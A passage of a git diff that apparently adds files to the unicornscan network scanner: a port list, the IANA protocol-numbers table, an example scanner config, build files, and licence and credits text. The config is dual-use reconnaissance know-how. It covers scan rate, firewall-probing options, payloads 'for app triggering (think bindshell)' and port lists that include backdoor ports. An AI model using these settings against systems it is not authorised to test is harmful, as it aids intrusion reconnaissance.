25903/tcp NIProbe +niprobe 25903/udp NIProbe +quake 26000/tcp quake +quake 26000/udp quake +wnn6-ds 26208/tcp wnn6-ds +wnn6-ds 26208/udp wnn6-ds +ezproxy 26260/tcp eZproxy +ezproxy 26260/udp eZproxy +ezmeeting 26261/tcp eZmeeting +ezmeeting 26261/udp eZmeeting +k3software-svr 26262/tcp K3 Software-Server +k3software-svr 26262/udp K3 Software-Server +k3software-cli 26263/tcp K3 Software-Client +k3software-cli 26263/udp K3 Software-Client +gserver 26264/tcp Gserver +gserver 26264/udp Gserver +flex-lm 27000-27009 FLEX LM (1-10) +imagepump 27345/tcp ImagePump +imagepump 27345/udp ImagePump +kopek-httphead 27504/tcp Kopek HTTP Head Port +kopek-httphead 27504/udp Kopek HTTP Head Port +tw-auth-key 27999/tcp TW Authentication/Key Distribution and +tw-auth-key 27999/udp Attribute Certificate Services +pago-services1 30001/tcp Pago Services 1 +pago-services1 30001/udp Pago Services 1 +pago-services2 30002/tcp Pago Services 2 +pago-services2 30002/udp Pago Services 2 +xqosd 31416/tcp XQoS network monitor +xqosd 31416/udp XQoS network monitor +lm-mon 31620/tcp lm mon +lm-mon 31620/udp lm mon +gamesmith-port 31765/tcp GameSmith Port +gamesmith-port 31765/udp GameSmith Port +filenet-tms 32768/tcp Filenet TMS +filenet-tms 32768/udp Filenet TMS +filenet-rpc 32769/tcp Filenet RPC +filenet-rpc 32769/udp Filenet RPC +filenet-nch 32770/tcp Filenet NCH +filenet-nch 32770/udp Filenet NCH +filenet-rmi 32771/tcp FileNET RMI +filenet-rmi 32771/udp FileNet RMI +filenet-pa 32772/tcp FileNET Process Analyzer +filenet-pa 32772/udp FileNET Process Analyzer +filenet-cm 32773/tcp FileNET Component Manager +filenet-cm 32773/udp FileNET Component Manager +filenet-re 32774/tcp FileNET Rules Engine +filenet-re 32774/udp FileNET Rules Engine +idmgratm 32896/tcp Attachmate ID Manager +idmgratm 32896/udp Attachmate ID Manager +diamondport 33331/tcp DiamondCentral Interface +diamondport 33331/udp DiamondCentral Interface +traceroute 33434/tcp traceroute use +traceroute 33434/udp traceroute use +turbonote-2 34249/tcp TurboNote Relay Server Default Port +turbonote-2 34249/udp TurboNote Relay Server Default Port +p-net-local 34378/tcp P-Net on IP local +p-net-local 34378/udp P-Net on IP local +p-net-remote 34379/tcp P-Net on IP remote +p-net-remote 34379/udp P-Net on IP remote +ethercat 34980/tcp EtherCAT Port +ethercat 34980/udp EhterCAT Port +kastenxpipe 36865/tcp KastenX Pipe +kastenxpipe 36865/udp KastenX Pipe +neckar 37475/tcp science + computing's Venus Administration Port +neckar 37475/udp science + computing's Venus Administration Port +galaxy7-data 38201/tcp Galaxy7 Data Tunnel +galaxy7-data 38201/udp Galaxy7 Data Tunnel +turbonote-1 39681/tcp TurboNote Default Port +turbonote-1 39681/udp TurboNote Default Port +cscp 40841/tcp CSCP +cscp 40841/udp CSCP +csccredir 40842/tcp CSCCREDIR +csccredir 40842/udp CSCCREDIR +csccfirewall 40843/tcp CSCCFIREWALL +csccfirewall 40843/udp CSCCFIREWALL +fs-qos 41111/tcp Foursticks QoS Protocol +fs-qos 41111/udp Foursticks QoS Protocol +crestron-cip 41794/tcp Crestron Control Port +crestron-cip 41794/udp Crestron Control Port +crestron-ctp 41795/tcp Crestron Terminal Port +crestron-ctp 41795/udp Crestron Terminal Port +reachout 43188/tcp REACHOUT +reachout 43188/udp REACHOUT +ndm-agent-port 43189/tcp NDM-AGENT-PORT +ndm-agent-port 43189/udp NDM-AGENT-PORT +ip-provision 43190/tcp IP-PROVISION +ip-provision 43190/udp IP-PROVISION +pmcd 44321/tcp PCP server (pmcd) +pmcd 44321/udp PCP server (pmcd) +pmcdproxy 44322/tcp PCP server (pmcd) proxy +pmcdproxy 44322/udp PCP server (pmcd) proxy +rockwell-encap 44818/tcp Rockwell Encapsulation +rockwell-encap 44818/udp Rockwell Encapsulation +invision-ag 45054/tcp InVision AG +invision-ag 45054/udp InVision AG +eba 45678/tcp EBA PRISE +eba 45678/udp EBA PRISE +ssr-servermgr 45966/tcp SSRServerMgr +ssr-servermgr 45966/udp SSRServerMgr +mbus 47000/tcp Message Bus +mbus 47000/udp Message Bus +dbbrowse 47557/tcp Databeam Corporation +dbbrowse 47557/udp Databeam Corporation +directplaysrvr 47624/tcp Direct Play Server +directplaysrvr 47624/udp Direct Play Server +ap 47806/tcp ALC Protocol +ap 47806/udp ALC Protocol +bacnet 47808/tcp Building Automation and Control Networks +bacnet 47808/udp Building Automation and Control Networks +nimcontroller 48000/tcp Nimbus Controller +nimcontroller 48000/udp Nimbus Controller +nimspooler 48001/tcp Nimbus Spooler +nimspooler 48001/udp Nimbus Spooler +nimhub 48002/tcp Nimbus Hub +nimhub 48002/udp Nimbus Hub +nimgtw 48003/tcp Nimbus Gateway +nimgtw 48003/udp Nimbus Gateway +com-bardac-dw 48556/tcp com-bardac-dw +com-bardac-dw 48556/udp com-bardac-dw +iqobject 48619/tcp iqobject +iqobject 48619/udp iqobject +pcanywhere 5631/tcp +pcanywhere 5631/udp +pcanywhere 5632/tcp +pcanywhere 5632/udp +winvnc 5900/tcp +rdesktop 3389/tcp +quake3 27960/udp diff --git a/etc/protocol-numbers b/etc/protocol-numbers new file mode 100644 index 0000000..aa5e5bb --- /dev/null +++ b/etc/protocol-numbers @@ -0,0 +1,511 @@ + +PROTOCOL NUMBERS + +(last updated 08 September 2005) + +In the Internet Protocol version 4 (IPv4) [RFC791] there is a field, +called "Protocol", to identify the next level protocol. This is an 8 +bit field. In Internet Protocol version 6 (IPv6) [RFC1883] this field +is called the "Next Header" field. + +Assigned Internet Protocol Numbers + +Decimal Keyword Protocol References +------- ------- -------- ---------- + 0 HOPOPT IPv6 Hop-by-Hop Option [RFC1883] + 1 ICMP Internet Control Message [RFC792] + 2 IGMP Internet Group Management [RFC1112] + 3 GGP Gateway-to-Gateway [RFC823] + 4 IP IP in IP (encapsulation) [RFC2003] + 5 ST Stream [RFC1190,RFC1819] + 6 TCP Transmission Control [RFC793] + 7 CBT CBT [Ballardie] + 8 EGP Exterior Gateway Protocol [RFC888,DLM1] + 9 IGP any private interior gateway [IANA] + (used by Cisco for their IGRP) + 10 BBN-RCC-MON BBN RCC Monitoring [SGC] + 11 NVP-II Network Voice Protocol [RFC741,SC3] + 12 PUP PUP [PUP,XEROX] + 13 ARGUS ARGUS [RWS4] + 14 EMCON EMCON [BN7] + 15 XNET Cross Net Debugger [IEN158,JFH2] + 16 CHAOS Chaos [NC3] + 17 UDP User Datagram [RFC768,JBP] + 18 MUX Multiplexing [IEN90,JBP] + 19 DCN-MEAS DCN Measurement Subsystems [DLM1] + 20 HMP Host Monitoring [RFC869,RH6] + 21 PRM Packet Radio Measurement [ZSU] + 22 XNS-IDP XEROX NS IDP [ETHERNET,XEROX] + 23 TRUNK-1 Trunk-1 [BWB6] + 24 TRUNK-2 Trunk-2 [BWB6] + 25 LEAF-1 Leaf-1 [BWB6] + 26 LEAF-2 Leaf-2 [BWB6] + 27 RDP Reliable Data Protocol [RFC908,RH6] + 28 IRTP Internet Reliable Transaction [RFC938,TXM] + 29 ISO-TP4 ISO Transport Protocol Class 4 [RFC905,RC77] + 30 NETBLT Bulk Data Transfer Protocol [RFC969,DDC1] + 31 MFE-NSP MFE Network Services Protocol [MFENET,BCH2] + 32 MERIT-INP MERIT Internodal Protocol [HWB] + 33 DCCP Datagram Congestion Control Protocol [RFC-ietf-dccp-spec-11.txt] + 34 3PC Third Party Connect Protocol [SAF3] + 35 IDPR Inter-Domain Policy Routing Protocol [MXS1] + 36 XTP XTP [GXC] + 37 DDP Datagram Delivery Protocol [WXC] + 38 IDPR-CMTP IDPR Control Message Transport Proto [MXS1] + 39 TP++ TP++ Transport Protocol [DXF] + 40 IL IL Transport Protocol [Presotto] + 41 IPv6 Ipv6 [Deering] + 42 SDRP Source Demand Routing Protocol [DXE1] + 43 IPv6-Route Routing Header for IPv6 [Deering] + 44 IPv6-Frag Fragment Header for IPv6 [Deering] + 45 IDRP Inter-Domain Routing Protocol [Sue Hares] + 46 RSVP Reservation Protocol [Bob Braden] + 47 GRE General Routing Encapsulation [Tony Li] + 48 MHRP Mobile Host Routing Protocol[David Johnson] + 49 BNA BNA [Gary Salamon] + 50 ESP Encap Security Payload [RFC2406] + 51 AH Authentication Header [RFC2402] + 52 I-NLSP Integrated Net Layer Security TUBA [GLENN] + 53 SWIPE IP with Encryption [JI6] + 54 NARP NBMA Address Resolution Protocol [RFC1735] + 55 MOBILE IP Mobility [Perkins] + 56 TLSP Transport Layer Security Protocol [Oberg] + using Kryptonet key management + 57 SKIP SKIP [Markson] + 58 IPv6-ICMP ICMP for IPv6 [RFC1883] + 59 IPv6-NoNxt No Next Header for IPv6 [RFC1883] + 60 IPv6-Opts Destination Options for IPv6 [RFC1883] + 61 any host internal protocol [IANA] + 62 CFTP CFTP [CFTP,HCF2] + 63 any local network [IANA] + 64 SAT-EXPAK SATNET and Backroom EXPAK [SHB] + 65 KRYPTOLAN Kryptolan [PXL1] + 66 RVD MIT Remote Virtual Disk Protocol [MBG] + 67 IPPC Internet Pluribus Packet Core [SHB] + 68 any distributed file system [IANA] + 69 SAT-MON SATNET Monitoring [SHB] + 70 VISA VISA Protocol [GXT1] + 71 IPCV Internet Packet Core Utility [SHB] + 72 CPNX Computer Protocol Network Executive [DXM2] + 73 CPHB Computer Protocol Heart Beat [DXM2] + 74 WSN Wang Span Network [VXD] + 75 PVP Packet Video Protocol [SC3] + 76 BR-SAT-MON Backroom SATNET Monitoring [SHB] + 77 SUN-ND SUN ND PROTOCOL-Temporary [WM3] + 78 WB-MON WIDEBAND Monitoring [SHB] + 79 WB-EXPAK WIDEBAND EXPAK [SHB] + 80 ISO-IP ISO Internet Protocol [MTR] + 81 VMTP VMTP [DRC3] + 82 SECURE-VMTP SECURE-VMTP [DRC3] + 83 VINES VINES [BXH] + 84 TTP TTP [JXS] + 85 NSFNET-IGP NSFNET-IGP [HWB] + 86 DGP Dissimilar Gateway Protocol [DGP,ML109] + 87 TCF TCF [GAL5] + 88 EIGRP EIGRP [CISCO,GXS] + 89 OSPFIGP OSPFIGP [RFC1583,JTM4] + 90 Sprite-RPC Sprite RPC Protocol [SPRITE,BXW] + 91 LARP Locus Address Resolution Protocol [BXH] + 92 MTP Multicast Transport Protocol [SXA] + 93 AX.25 AX.25 Frames [BK29] + 94 IPIP IP-within-IP Encapsulation Protocol [JI6] + 95 MICP Mobile Internetworking Control Pro. [JI6] + 96 SCC-SP Semaphore Communications Sec. Pro. [HXH] + 97 ETHERIP Ethernet-within-IP Encapsulation [RFC3378] + 98 ENCAP Encapsulation Header [RFC1241,RXB3] + 99 any private encryption scheme [IANA] + 100 GMTP GMTP [RXB5] + 101 IFMP Ipsilon Flow Management Protocol [Hinden] + 102 PNNI PNNI over IP [Callon] + 103 PIM Protocol Independent Multicast [Farinacci] + 104 ARIS ARIS [Feldman] + 105 SCPS SCPS [Durst] + 106 QNX QNX [Hunter] + 107 A/N Active Networks [Braden] + 108 IPComp IP Payload Compression Protocol [RFC2393] + 109 SNP Sitara Networks Protocol [Sridhar] + 110 Compaq-Peer Compaq Peer Protocol [Volpe] + 111 IPX-in-IP IPX in IP [Lee] + 112 VRRP Virtual Router Redundancy Protocol [RFC3768] + 113 PGM PGM Reliable Transport Protocol [Speakman] + 114 any 0-hop protocol [IANA] + 115 L2TP Layer Two Tunneling Protocol [Aboba] + 116 DDX D-II Data Exchange (DDX) [Worley] + 117 IATP Interactive Agent Transfer Protocol [Murphy] + 118 STP Schedule Transfer Protocol [JMP] + 119 SRP SpectraLink Radio Protocol [Hamilton] + 120 UTI UTI [Lothberg] + 121 SMP Simple Message Protocol [Ekblad] + 122 SM SM [Crowcroft] + 123 PTP Performance Transparency Protocol [Welzl] + 124 ISIS over IPv4 [Przygienda] + 125 FIRE [Partridge] + 126 CRTP Combat Radio Transport Protocol [Sautter] + 127 CRUDP Combat Radio User Datagram [Sautter] + 128 SSCOPMCE [Waber] + 129 IPLT [Hollbach] + 130 SPS Secure Packet Shield [McIntosh] + 131 PIPE Private IP Encapsulation within IP [Petri] + 132 SCTP Stream Control Transmission Protocol [Stewart] + 133 FC Fibre Channel [Rajagopal] + 134 RSVP-E2E-IGNORE [RFC3175] + 135 Mobility Header [RFC3775] + 136 UDPLite [RFC3828] + 137 MPLS-in-IP [RFC4023] + 138-252 Unassigned [IANA] + 253 Use for experimentation and testing [RFC3692] + 254 Use for experimentation and testing [RFC3692] + 255 Reserved [IANA] + + +REFERENCES +---------- + +[CFTP] Forsdick, H., "CFTP", Network Message, Bolt Beranek and + Newman, January 1982. + +[CISCO] Cisco Systems, "Gateway Server Reference Manual", Manual + Revision B, January 10, 1988. + +[DDN] Feinler, E., Editor, "DDN Protocol Handbook", Network + Information Center, SRI International, December 1985. + +[DGP] M/A-COM Government Systems, "Dissimilar Gateway Protocol + Specification, Draft Version", Contract no. CS901145, + November 16, 1987. + +[ETHERNET] "The Ethernet, A Local Area Network: Data Link Layer and + Physical Layer Specification", AA-K759B-TK, Digital + Equipment Corporation, Maynard, MA. Also as: "The + Ethernet - A Local Area Network", Version 1.0, Digital + Equipment Corporation, Intel Corporation, Xerox + Corporation, September 1980. And: "The Ethernet, A Local + Area Network: Data Link Layer and Physical Layer + Specifications", Digital, Intel and Xerox, November 1982. + And: XEROX, "The Ethernet, A Local Area Network: Data Link + Layer and Physical Layer Specification", X3T51/80-50, + Xerox Corporation, Stamford, CT., October 1980. + +[IEN90] Cohen, D. and J. Postel, "Multiplexing Protocol", IEN 90, + USC/Information Sciences Institute, May 1979. + +[IEN119] Forgie, J., "ST - A Proposed Internet Stream Protocol", + IEN 119, MIT Lincoln Laboratory, September 1979. + +[IEN158] Haverty, J., "XNET Formats for Internet Protocol Version 4", + IEN 158, October 1980. + +[MFENET] Shuttleworth, B., "A Documentary of MFENet, a National + Computer Network", UCRL-52317, Lawrence Livermore Labs, + Livermore, California, June 1977. + +[PUP] Boggs, D., J. Shoch, E. Taft, and R. Metcalfe, "PUP: An + Internetwork Architecture", XEROX Palo Alto Research Center, + CSL-79-10, July 1979; also in IEEE Transactions on + Communication, Volume COM-28, Number 4, April 1980. + +[SPRITE] Welch, B., "The Sprite Remote Procedure Call System", + Technical Report, UCB/Computer Science Dept., 86/302, + University of California at Berkeley, June 1986. + +[RFC741] Cohen, D., "Specifications for the Network Voice Protocol", + RFC 741, ISI/RR 7539, USC/Information Sciences Institute, + March 1976. + +[RFC768] Postel, J., "User Datagram Protocol", STD 6, RFC 768, + USC/Information Sciences Institute, August 1980. + +[RFC791] Postel, J., "Internet Protocol - DARPA Internet Prnogram + Protocol Specification", STD 5, RFC 791, DARPA, September + 1981. + +[RFC792] Postel, J., "Internet Control Message Protocol - DARPA + Internet Program Protocol Specification", STD 5, RFC 792, + USC/Information Sciences Institute, September 1981. + +[RFC793] Postel, J., "Transmission Control Protocol - DARPA + Internet Program Protocol Specification", STD 7, RFC 793, + USC/Information Sciences Institute, September 1981. + +[RFC823] Hinden, R., and A. Sheltzer, "The DARPA Internet Gateway", + RFC 823, BBN, September 1982. + +[RFC869] Hinden, R., "A Host Monitoring Protocol", RFC 869, + Bolt Beranek and Newman, December 1983. + +[RFC888] Seamonson, L., and E. Rosen, "STUB" Exterior Gateway + Protocol", RFC 888, BBN Communications Corporation, + January 1984. + +[RFC905] International Standards Organization, "ISO Transport Protocol + Specification - ISO DP 8073", RFC 905, April 1984. + +[RFC908] Velten, D., R. Hinden, and J. Sax, "Reliable Data Protocol", + RFC 908, BBN Communications Corporation, July 1984. + +[RFC938] Miller, T., "Internet Reliable Transaction Protocol", RFC 938, + ACC, February 1985. + +[RFC969] Clark, D., M. Lambert, and L. Zhang, "NETBLT: A Bulk Data + Transfer Protocol", RFC 969, MIT Laboratory for Computer + Science, December 1985. + +[RFC1112] Deering, S., "Host Extensions for IP Multicasting", + STD 5, RFC 1112, Stanford University, August 1989. + +[RFC1190] Topolcic, C., Editor, "Experimental Internet Stream + Protocol, Version 2 (ST-II)", RFC 1190, CIP Working Group, + October 1990. + +[RFC1241] Woodburn, W., and D. Mills, " A Scheme for an Internet + Encapsulation Protocol: Version 1", RFC 1241, SAIC, + University of Delaware, July 1991. + +[RFC1583] Moy, J., "The OSPF Specification", RFC 1583, Proteon, + March 1994. + +[RFC1735] Heinanen, J., and R. Govindan, " NBMA Address Resolution + Protocol (NARP)", RFC 1735, Telecom Finland and USC/ISI, + December 1994. + +[RFC1819] L. Delgrossi, L. Berger, and ST2 Working Group, "Internet + Stream Protocol Version 2 (ST2) Protocol Specification + - Version ST2+", RFC 1819, August 1995. + +[RFC1883] Deering, S., and R. Hinden, "Internet Protocol, Version 6 + (IPv6) Specification", RFC 1883, Xerox PARC, Ipsilon + Networks, December 1995. + +[RFC2003] Perkins, C., "IP Encapsulation within IP", RFC 2003, IBM, + September 1996. + +[RFC2393] Shacham, A., and R. Monsour, R. Pereira, M. Thomas, "IP + Payload Compression Protocol (IPComp)", RFC 2393, Cisco, + Hi/fn, TimeStep, AltaVista Internt, December 1998. + +[RFC2402] S. Kent and R. Atkinson, "IP Authentication Header", + RFC 2402, November 1998. + +[RFC2406] S. Kent and R. Atkinson, "IP Encapsulating Security Payload (ESP)", + RFC 2406, November 1998. + +[RFC3175] F. Baker, C. Iturralde, F. Le Faucheur, B. Davie, + "Aggregation of RSVP for IPv4 and IPv6 Reservations", + RFC 3175, September 2001. + +[RFC3378] R. Housley and S. Hollenbeck, "EtherIP: Tunneling Ethernet + Frames in IP Datagrams", RFC 3378, September 2002. + +[RFC3692] T. Narten, "Assigning Experimental and Testing Numbers Considered + Useful", RFC 3692, January 2004. + +[RFC3768] R. Hinden, Ed., "Virtual Router Redundancy Protocol (VRRP)", + RFC 3768, April 2004. + +[RFC3775] D. Johnson, C. Perkins, and J. Arkko, "Mobility Support in IPv6", + RFC 3775, June 2004. + +[RFC3828] L-A. Larzon, M. Degermark, S. Pink, L-E. Jonsson Ed., and + G. Fairhurst, Ed., "The UDP-Lite Protocol", RFC 3828, July 2004. + +[RFC4023] T. Worster, Y. Rekhter, and E. Rosen, Ed., "Encapsulating MPLS in + IP or Generic Routing Encapsulation (GRE)", RFC 4023, March 2005. + +[RFC-ietf-dccp-spec-11.txt] + E. Kohler, M. Handley and S. Floyd, "Datagram Congestion + Control Protocol (DCCP)", RFC XXXX, Month Year. + +PEOPLE +------ + +[Aboba] Bernard Aboba , April 1998. + +[Ballardie] Tony Ballardie + +[BCH2] Barry Howard + +[BK29] Brian Kantor + +[BN7] + +[Braden] Bob Braden, ,, July 1997. + +[BWB6] Barry Boehm + +[BXH] Brian Horn <---none---> + +[BXW] Bruce Willins <---none---> + +[Callon] Ross Callon, , December 1995. + +[Carpenter] Brian Carpenter, , January 1995. + +[Crowcroft] Jon Crowcroft , June 1999. + +[DDC1] David Clark + +[DLM1] David Mills + +[DRC3] Dave Cheriton + +[Deering] Steve Deering, , March 1995. + +[Doraswamy] Naganand Doraswamy, , September 1997. + +[Durst] Robert Durst, , March 1997. + +[DXE1] Deborah Estrin + +[Farinacci] Dino Farinacci, , March 1996. + +[Feldman] Nancy Feldman January 1997. + +[DXF] Dirk Fromhein + +[DXM2] David Mittnacht <---none---> + +[David Johnson] + +[Ekblad] Leif Ekblad , March 1999. + +[GAL5] Guillermo A. Loyola + +[GLENN] K. Robert Glenn + +[GXC] Greg Chesson + +[GXS] Guenther Schreiner + +[GXT1] Gene Tsudik + +[Hamilton] Mark Hamilton , November 1998. + +[HCF2] Harry Forsdick + +[Hinden] Bob Hinden, , November 1995, 1997. + +[Hunter] Michael Hunter, , July 1997. + +[HWB] Hans-Werner Braun + +[HXH] Howard Hart + +[IANA] Internet Assigned Numbers Authority, , June 1995. + +[JBP] Jon Postel + +[JMP] Jean-Michel Pittet, , November 1998. + +[JC120] + +[JFH2] Jack Haverty + +[JI6] John Ioannidis + +[JTM4] John Moy + +[JWF] Jim Forgie + +[JXS] Jim Stevens + +[KATZ] Dave Katz + +[Lee] CJ Lee, , October 1997. + +[Lothberg] Peter Lothberg , March 1999. + +[Markson] Tom Markson, , September 1995. + +[MB] Mike Brescia + +[MBG] Michael Greenwald + +[McIntosh] Bill McIntosh + +[ML109] Mike Little + +[MTR] Marshall T. Rose + +[Murphy] John Murphy , October 1998. + +[MXS1] Martha Steenstrup + +[NC3] J. Noel Chiappa + +[Oberg] Christer Oberg October 1994. + +[Partridge] Criag Partridge , August 1999. + +[Perkins] Charlie Perkins , October 1994. + +[Petri] Bernhard Petri , March 2000 + +[Presotto] Dave Presotto , July 1995. + +[Przygienda] Tony Przygienda , August 1999. + +[PXL1] Paul Liu <---none---> + +[Rajagopal] Murali Rajagopal, , May 2000. + +[RH6] Robert Hinden + +[RTB3] Bob Braden + +[RC77] + +[RDH1] Russ Housley + +[RWS4] Robert W. Scheifler + +[RXB3] Robert Woodburn + +[Sautter] Robert Sautter , August 1999. + +[SAF3] Stuart A. Friedberg + +[SC3] Steve Casner + +[SHB] Steven Blumenthal + +[Speakman] Tony Speakman , January 1998. + +[Sridhar] Manickam R.Sridhar , September 1997. + +[Stewart] Randall R. Stewart , April 2000. + +[Sue Hares] Sue Hares + +[SXA] Susie Armstrong + +[SXD] Steve Deering + +[Tony Li] Tony Li + +[TXM] Trudy Miller + +[Volpe] Victor Volpe , October 1997. + +[VXD] Victor Dafoulas <---none---> + +[Waber] Kurt Waber , August 1999. + +[Welzl] Michael Welzl , August 1999. + +[WM3] William Melohn + +[WXC] Wesley Craig + +[Worley] John Worley , June 1998. + +[ZSU] Zaw-Sing Su + +[] + + + + + + diff --git a/etc/unicorn.conf.in b/etc/unicorn.conf.in new file mode 100644 index 0000000..2da6866 --- /dev/null +++ b/etc/unicorn.conf.in @@ -0,0 +1,91 @@ +/* this is just an example config file, note the syntax... */ + +global { + pps: 300; /* good for a cable modem */ + repeats: 1; + delaytype: tsc; /* use gtod or sleep if your tsc is broken */ + + /* good for uncovering broken firewalls see http://www.phrack.org/show.php?p=60&a=12 */ + /* brokencrc: transport; */ + + /* -1 means random, that way you can come from port 0 */ + sourceport: -1; + + /* should we make a default (udp) payload for app triggering if we dont have a match? (good idea normally, think bindshell) */ + defaultpayload: true; + + /* perhaps not so usefull */ + /* interface: "wlan0"; */ + + /* watch icmp error codes (or any icmp really) and rsts */ + procerrors: false; + + /* + * for the time being see src/FMTCAT_ARGS and know that there are 4 different current formats + * ip: IP reports + * imip: Immediate (-I) IP reports + * arp: ARP reports + * imarp: ... + */ + format { + "ip:%-8r\t%16pn[%5p]\t\tfrom %hn %Tn ttl %t" + }; + + /* already default */ + /* moduledir: "@MODDIR@"; */ + + /* good option */ + immediate: false; + + /* pcapfilter: "! port 162"; */ + + /* yah well on my laptop this is useless */ + /* srcaddr: random; */ + /* srcaddr: 192.168.13.221; */ + + /* this isnt as usefull use the fingerprint option, its less work */ + /* ipttl: 0xFF; */ + /* iptos: 0; */ + + /* the `%d' will get replaced with a unix timestamp */ + /* savefile: "/tmp/save%d.pcap"; */ + + /* 0:cisco 1:openbsd 2:windowsxp 4:p0f*/ + fingerprint: 1; + + /* this can be 0 to some large value, i think 7 is the highest that does anything new */ + verbose: 0; + + /* syn [Ss] fin [Ff] urg [Uu] psh [Pp] ack [Aa] ece [Ee] cwr [Cc] are possible here */ + tcpflags: Sfupaec; + + tcpquickports { + "7,9,11,13,18,19,21-23,25,37,39,42,49,50,53," + "65,67-70,79-81,88,98,100,105-107,109-111,113,118,119," + "123,129,135,137-139,143,150,161-164,174,177-179,191," + "199-202,204,206,209,210,213,220,345,346,347,369-372," + "389,406,407,422,443-445,487,500,512-514,517,518,520,525,533," + "538,548,554,563,587,610-612,631-634,636,642,653,655,657,666,706,750-752,765," + "779,808,873,901,923,941,946,992-995,1001,1023-1030,1080,1210,1214," + "1234,1241,1334,1349,1352,1423-1425,1433,1434,1524,1525,1645,1646,1649,1701,1718," + "1719,1720,1723,1755,1812,1813,2048-2050,2101-2104,2140,2150,2233,2323,2345,2401,2430,2431," + "2432,2433,2583,2628,2776,2777,2988,2989,3050,3130,3150,3232,3306,3389,3456,3493," + "3542-3545,3632,3690,3801,4000,4400,4321,4567,4899,5002,5136-5139,5150,5151," + "5222,5269,5308,5354,5355,5422-5425,5432,5503,5555,5556,5678,6000-6007," + "6346,6347,6543,6544,6789,6838,6666-6670,7000-7009," + "7028,7100,7983,8079-8082,8088,8787,8879,9090,9101-9103," + "9325,9359,10000,10026,10027,10067,10080,10081,10167,10498,11201,15345,17001-17003," + "18753,20011,20012,21554,22273,26274,27374,27444,27573,31335-31338,31787,31789,31790,31791," + "32668,32767-32780,33390,47262,49301,54320,54321," + "57341,58008,58009,58666,59211,60000,60006,61000,61348,61466,61603,63485,63808,63809,64429," + "65000,65506,65530-65535" + }; + + udpquickports { + "7,9,11,13,17,19,20,37,39,42,49,52-54,65-71,81,111,161,123,136-170,514-518," + "630,631,636-640,650,653,921,1023-1030,1900,2048-2050,27900,27960,32767-32780,32831" + }; +}; + +include "@CONFDIR@/payloads.conf"; /* default udp payloads */ +include "@CONFDIR@/modules.conf"; /* default udp payloads */ diff --git a/ext_src/Makefile.in b/ext_src/Makefile.in new file mode 100644 index 0000000..800fe85 --- /dev/null +++ b/ext_src/Makefile.in @@ -0,0 +1,24 @@ +include ../Makefile.inc + +SRCS=patricia.c +OBJS=$(SRCS:.c=.o) + +OUTLIB=libuext.a + +all: $(OUTLIB) + +install: + +distclean: + +uninstall: + +$(OUTLIB): $(OBJS) + $(AR) $(ARFLAGS) $(OUTLIB) $(OBJS) + $(RANLIB) $(OUTLIB) + +demo: $(OBJS) demo.c + $(CC) $(CFLAGS) -o demo demo.c $(OBJS) + +clean: + rm -f $(OUTLIB) $(OBJS) demo diff --git a/ext_src/copyright b/ext_src/copyright new file mode 100644 index 0000000..53677ed --- /dev/null +++ b/ext_src/copyright @@ -0,0 +1,34 @@ +Copyright (c) 1997, 1998, 1999 + + +The Regents of the University of Michigan ("The Regents") and Merit Network, +Inc. All rights reserved. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above + copyright notice, this list of conditions and the + following disclaimer. +2. Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. +3. All advertising materials mentioning features or use of + this software must display the following acknowledgement: +This product includes software developed by the University of Michigan, Merit +Network, Inc., and their contributors. +4. Neither the name of the University, Merit Network, nor the + names of their contributors may be used to endorse or + promote products derived from this software without + specific prior written permission. +THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + diff --git a/ext_src/credits.txt b/ext_src/credits.txt new file mode 100644 index 0000000..cef1252 --- /dev/null +++ b/ext_src/credits.txt @@ -0,0 +1,73 @@ + + [newtool.gif] + +MRT Credits + + The Multi-Threaded Routing Toolkit + _________________________________________________________________ + + MRT was developed by [1]Merit Network, Inc., under National Science + Foundation grant NCR-9318902, "Experimentation with Routing Technology + to be Used for Inter-Domain Routing in the Internet." + + Current MRT Staff + + * [2]Craig Labovitz + * [3]Makaki Hirabaru + * [4]Farnam Jahanian + * Susan Hares + * Susan R. Harris + * Nathan Binkert + * Gerald Winters + + Project Alumni + + * [5]Marc Unangst + * John Scudder + + The BGP4+ extension was originally written by Francis Dupont + . + + The public domain Struct C-library of linked list, hash table and + memory allocation routines was developed by Jonathan Dekock + . + + Susan Rebecca Harris provided help with the + documentation. + David Ward provided bug fixes and helpful + suggestions. + Some sections of code and architecture ideas were taken from the GateD + routing daemon. + + The first port to Linux with IPv6 was done by Pedro Roque + . Some interface routines to the Linux kernel were + originally written by him. + + Alexey Kuznetsov made enhancements to 1.4.3a and fixed the Linux + kernel intarface. Linux's netlink interface was written, referring to + his code "iproute2". + + We would also like to thank our other colleagues in Japan, Portugal, + the Netherlands, the UK, and the US for their many contributions to + the MRT development effort. + _________________________________________________________________ + + Cisco is a registered trademark of Cisco Systems Inc. + _________________________________________________________________ + + Merit Network 4251 Plymouth Road Suite C Ann Arbor, MI 48105-2785 + 734-764-9430 + info@merit.edu + _________________________________________________________________ + + 1999 Merit Network, Inc. + [6]www@merit.edu + +References + + 1. http://www.merit.edu/ + 2. http://www.merit.edu/~labovit + 3. http://www.merit.edu/~masaki + 4. http://www.eecs.umich.edu/~farnam + 5. http://www.contrib.andrew.cmu.edu/~mju/ + 6. mailto:www@merit.edu diff --git a/ext_src/demo.c b/ext_src/demo.c new file mode 100644 index 0000000..1adde81 --- /dev/null +++ b/ext_src/demo.c @@ -0,0 +1,65 @@ +/* + * $Id: demo.c,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ + * + * This is based on "demo.c" provided with MRT-2.2.2a. + */ + 